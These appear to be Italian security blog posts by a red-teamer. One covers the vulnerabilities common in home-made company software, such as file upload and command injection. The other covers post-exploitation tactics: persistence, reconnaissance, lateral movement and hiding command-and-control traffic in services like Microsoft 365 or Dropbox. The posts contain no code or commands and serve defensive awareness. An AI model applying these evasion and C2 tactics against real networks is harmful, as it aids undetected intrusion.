La live sul mio canale Twitch di venerdi’ 7 aprile riprende questo piccola lab e si procede con le analisi della vulnerabilita’. Nel prossimo post riportero’ le evoluzioni.

cyber security, hacking

Codice “home made”

Rocco Sicilia

Molte figure con un background tecnico-informatico si dedicano alla scrittura di software per moltissimi motivi: dal puro piacere personale di costruirsi qualcosa di utile, anche solo per esigenze personali, fino ad arrivare ad esigenze operative o aziendali gestibili con un software custom. Personalmente ho scritto “molto” codice per automatizzare o velocizzare alcuni processi operativi ed analitici, anche in ambito Red Team è molto utile avere il proprio “arsenale” di tools custom. E’ qualcosa di abbastanza diffuso nel mondo IT: ci sono aziende che si sono scritte il proprio gestionale, che automatizzano processi tramite script fatti dagli addetti ai lavori, team che creano software per consentire a clienti e fornitori di interfacciarsi con processi aziendali. Tutto questo in molti casi (non tutti ma molti) viene fatto senza un metodo di sviluppo adeguato e senza una particolare attenzione alla sicurezza del codice. Il problema parte dalle fondamenta: chi scrive molto di questo codice non ha nozioni di sviluppo di codice sicuro.

un mio blocco di codice a caso

Non ho le competenze specifiche per parlarvi di codice sicuro, faccio un altro mestiere, posso però raccontarvi cosa succede quando introducete codice “home made” in un contesto aziendale. I software sono asset della vostra infrastruttura a prescindere da chi li ha prodotti, che si tratti del nuovo CRM o dello script che vi notifica l’esito dei backup giornalieri il contesto è quello di un software attivo all’interno della rete, accessibile almeno ad una parte dell’utenza, che genera interazioni con altri sistemi.

Esattamente come tutti gli altri asset anche il software prodotto internamente va gestito nel tempo, nel suo ciclo di vita. Potrebbe essere necessario correggere dei bug funzionali, aggiornare delle componenti di terze parti (vedi il concetto di Software Bill of Materials che Paolo Perego accennava qui), aggiornare le componenti core del software stesso. Quando adottiamo un prodotto software solitamente non ci preoccupiamo della qualità del software in modo diretto, ci si affida alla qualità del brand/partner che abbiamo selezionato. Uno dei parametri che probabilmente valuteremo è la frequenza con cui vengono rilasciate delle patch e la reattività del team di sviluppo in caso sia necessario correggere una vulnerabilità.

Abbiamo tutti imparato a limitare/eliminare l’utilizzo di software che presenta delle vulnerabilità, sappiamo che esistono vulnerabilità che consentono di manomettere il funzionamento dell’applicazione, possono consentire l’accesso a dati riservati e, in casi estremi, possono consentire l’accesso al sistema su cui è attivo il software vulnerabile. Questi rischi esistono nel software “enterprise” tanto quanto esistono nel software “home made”, con la differenza che di solito il software disponibile sul mercato (o prodotto dalla community) transita da processi di controllo, è sottoposto a più tipologie di test sulla sicurezza ed esiste un team che ne corregge, in modo strutturato, i bug.

Ora il concetto è abbastanza semplice: nonostante i team di sviluppo composti da professionisti, i controlli integrati nel processo di sviluppo ed i test di sicurezza capita di rilasciare software che presenti delle vulnerabilità. Cosa ci fa pensare che noi, all’interno del nostro team IT/DEV, non commetteremo errori?

Il punto di vista dell’attacker

In una sessione di attacco simulato, trovare qualcosa di “home made” potrebbe essere un ottimo punto di partenza per ottenere il controllo di un host sfruttando vulnerabilità abbastanza classiche. Ovviamente non è possibile generalizzare ma ci sono degli elementi facili da indagare che potrebbero restituire all’attacker l’appiglio per compromettere la macchina che ospita l’applicazione vulnerabile.

Considerando solo la mia esperienza diretta (e chissà quante ne potreste raccontare voi) mi potrei aspettare di trovare qualche vulnerabilità a livello di gestione dell’upload di contenuti (https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload) con la conseguenza di poter portare sul sistema target un file malevolo sa eseguire successivamente tramite una chiamata http/https.

Altro grande classico, soprattutto in contesti dove sono presenti piccole integrazioni a livello di sistema, la possibilità di eseguire comandi sulla macchina remota tramite injection (https://owasp.org/www-community/attacks/Command_Injection). Spesso alcuni script di integrazione utilizzano chiamate al sistema operativo locale a cui passano delle stringe di comandi da eseguire direttamente in “shell”. Altra grande opportunità per prendere possesso della macchina che ospita applicazioni di questo tipo.

In questi casi diventa relativamente semplice per un attacker sfruttare vulnerabilità anche molto gravi ma spesso non sottoposte a nessuna verifica di merito: essendo il software autoprodotto difficilmente ci sarà un processo di update della piattaforma o una verifica periodica delle nuove vulnerabilità. Eppure sarebbe abbastanza ovvio: come siamo abituati a chiedere il vulnerability assessment dei sistemi potremmo farso anche per il software prodotto internamente.

Qualche risorsa

In relazione allo sviluppo di codice sicuro forse una delle risorse più note è la documentazione OWASP (https://owasp.org/), utilissima soprattutto per comprendere anche le varie tipologie di vulnerabilità di cui il nostro codice potrebbe essere afflitto.

Un bell’articolo introduttivo al tema che mi ero segnato è questo: https://martinfowler.com/articles/web-security-basics.html. Ottimo per chi vuole iniziare a capirci qualcosa.

Ci sono poi una tonnellata di libri specifici per i differenti linguaggi, non li ho letti quindi non mi permetto di dare consigli. Per segnalare qualche risorsa a noi geograficamente vicina, oltre a già citato canale e blog di Paolo, a settembre, in occasione dell’edizione 2023 di RomHack, ci saranno dei corsi tematici tra cui una sessione interamente dedicata alla sicurezza del codice: https://romhack.io/training/code-review/.

cyber security, hacking

Post-exploitation: appunti tattici e qualche riflessione

Rocco Sicilia

Premetto che sto sistemando un po’ di appunti e materiale in relazione alle attività immediatamente successive all’acquisizione di un primo accesso ad un sistema target (a prescindere dal modo in cui è stato ottenuto) in un contesto di simulazione di attacco.

Sto lavorando su due fronti: il primo prettamente ludico relativo alle mie “play session” in live dove sto giocando su una vecchia macchina (breakout di vulnhub), il secondo operativo in relazione ad azioni su infrastrutture presidiate. C’è un elemento che ricorre in entrambi i contesti anche se per motivi differenti: per vincoli del sistema o per la presenza di specifici controlli non sempre è possibile dotare la macchina target di “strumenti” aggiuntivi, bisogna necessariamente arrangiarsi con ciò che si ha sul sistema vittima. In molti corsi e laboratori a tema cyber sec. si fa pesante uso di strumenti che, se utilizzati in contesti reali, vedremmo il team IT di qualsiasi organizzazione mediamente strutturata farsi una grassa risata.

Gli attacker utilizzano spesso tecniche appositamente studiate per non essere identificati facilmente ed una di queste è proprio utilizzare ciò che il sistema colpito mette a disposizione: se la macchina dove è stato guadagnato il primo accesso è un webserver con php o python è molto probabile che l’attacker utilizzi questi strumenti per portare a bordo del sistema scripts specifici o eseguire comandi diretti.

Considerazioni lato Red Team

Provo a semplificare il mondo. Diciamo che ci sono quattro principali tipologie di oggetti su cui si potrebbe approdare:

  • un ambiente con O.S. Microsoft Windows
  • un ambiente con O.S. *nix
  • una network appliance
  • un device con O.S. {booo} che eroga servizi aspecifici (una stampante, una Smart TV, ecc)

Ovviamente non sono gli unici elementi ma questo elenco copre una vasta percentuale di sistemi in una rete IT. Va anche detto che una buona azione di ricognizione potrebbe migliorare molto la precisione di questa lista ed in alcuni casi si riescono ad ottenere informazioni di dettaglio su sistemi e software in uso, ma per lo scopo del post ci basta questo.

Continuando con le considerazioni puramente speculative possiamo dire che gli ambienti con O.S. Windows e Unix/Linux mettono a disposizione un set di software e utility molto più ampio rispetto alle appliance, fanno eccezione solo quei device interamente basati su una qualche distribuzione Linux e quindi ricche di utility (come alcune tipologie di NAS o network device SOHO). Qualsiasi sia lo scenario le azioni che cronologicamente un attacker – e quindi anche il Red Team – vorrebbe compiere sono:

  • garantirsi un’accesso permanente al sistema sul quale è stata “guadagnata la posizione”
  • raccogliere informazioni sul sistema e sull’ambiente circostante
  • iniziare ad esplorare l’ambiente circostante a caccia di informazioni o per raggiungere altri sistemi interessanti (lateral movement per gli amici)

Per mia esperienza (e come sempre sarei felice di ricevere anche altri pareri) il buon proseguimento dell’azione offensiva dipende molto dal livello di dettaglio che si riesce ad ottenere dell’infrastruttura attaccata. Se in Red Team acquisisce molte informazioni sostanziali potrà valutare meglio come muoversi all’interno della rete. Ad esempio prima di attivare un C2 sarà opportuno valutare che tipologia di canali potrebbero passare inosservati.

E’ un tema già affrontato su queste pagine quando ho parlato di OSInt: meglio conosco il mio target e più efficace sarà l’azione offensiva. La differenza, non da poco, sta nel fatto di essere già all’interno di uno dei sistemi, contesto che permette di ottenere molte informazioni ed una posizione privilegiata per sfruttarle.

Ovviamente più il sistema target è ricco di dati e utility e più l’attacker avrà vita facile. Questa consapevolezza è quella che dovrebbe far riflettere sul livello di hardening dei sistemi: situazioni troppo “permissive” come l’utilizzo troppo esteso di utenti con privilegi elevati o la configurazione di servizi ed applicazioni in esecuzione con privilegi amministrativi, possono dare al Red Team la possibilità di agire sul sistema colpito in modo molto invasivo.

I macro elementi da cui personalmente mi piace iniziare le “indagini” sono la possibilità di comunicare all’esterno della rete tramite canali leciti e la possibilità di eseguire manovre sul sistema target e verso altri sistemi utilizzando utenti/profili con un basso livello di privilegi. Una situazione più che comoda potrebbe essere quella di atterrare su una macchina che ha modo di navigare senza particolare limiti, anche se attraverso firewall o proxy, e con una CLI di qualche tipo. Una bash o una powershell sono strumenti con cui si possono fare molte cose.

Qualche esempio per comprendere meglio: come mostrato in una recente demo (e nella live del 4 febbraio ci ritorniamo) alcune azioni possono essere più rumorose di altre: in una rete presidiata può fare molta differenza eseguire una scansione “massiva” rispetto ad una scansione molto mirata, come è diverso eseguire dei comandi su una CLI rispetto a lanciare uno script in PowerShell.
E’ abbastanza frequente poter disporre di un accesso verso internet con destinazione servizi di largo utilizzo come Microsoft 365, Google Drive o Dropbox. Si tratta di servizi assolutamente leciti che l’attacker può utilizzare come “punto di appoggio” nello scambio di informazioni o per impartire comandi attraverso un C2 in grado di comunicare all’interno di un canale “nascosto”.

Considerazioni lato Blue Team e IT

Come noto non è il mio ambito di specializzazione, quindi a maggior ragione spero di ricevere feedback e pareri su quanto scrivo e condivido. Faccio una riflessione generale, figlia dell’esperienza su campo e del confronto con SOC Analyst, Security Manager e CISO.

Esiste, prima di tutto, un problema di “scope”: abbiamo la capacità di osservare moltissimo ma spesso tale capacità non viene scaricata a terra.
Esiste un problema di “mindset”: deleghiamo molto ad una tecnologia troppo spesso configurata in modo non idoneo, perdendo di vista o non considerando che chi attacca ha una elevata capacità di adattamento al contesto e, per quanto segua un modello, non ha regole statiche a cui obbedire.

Concettualmente mi piace il modello Zero Trust, al netto dell’applicabilità il concetto è assolutamente sano: non è possibile, in una strategia di difesa, dare per buono qualcosa. Tutto è vulnerabile e tutto potrebbe essere attaccato. Tutto. Se non si parte da questo punto fermo l’effetto è quello che osservo quotidianamente: piccole falle logiche e/o tecniche che si sommano, si aggregano fino a formare la classica valanga ingestibile.

Osservare tutto l’osservabile è un buon punto di partenza (ne ho parlato nel post sulla detection), ma contemporaneamente vanno irrobustiti i sistemi ed i processi. Il SIEM non risolve il problema delle vulnerabilità critiche, il SOC non risolve il problema della bassa consapevolezza. Sono strumenti utili all’interno di una strategia più ampia e che deve tener conto di come si comporta l’avversario e non solo di ciò che presumiamo di sapere.

Mia conclusione alla riflessione

A mio parere da questa situazione se ne esce solo collaborando, costruendo un confronto (che molti già fanno, fortunatamente) tra Red Team e Blue Team.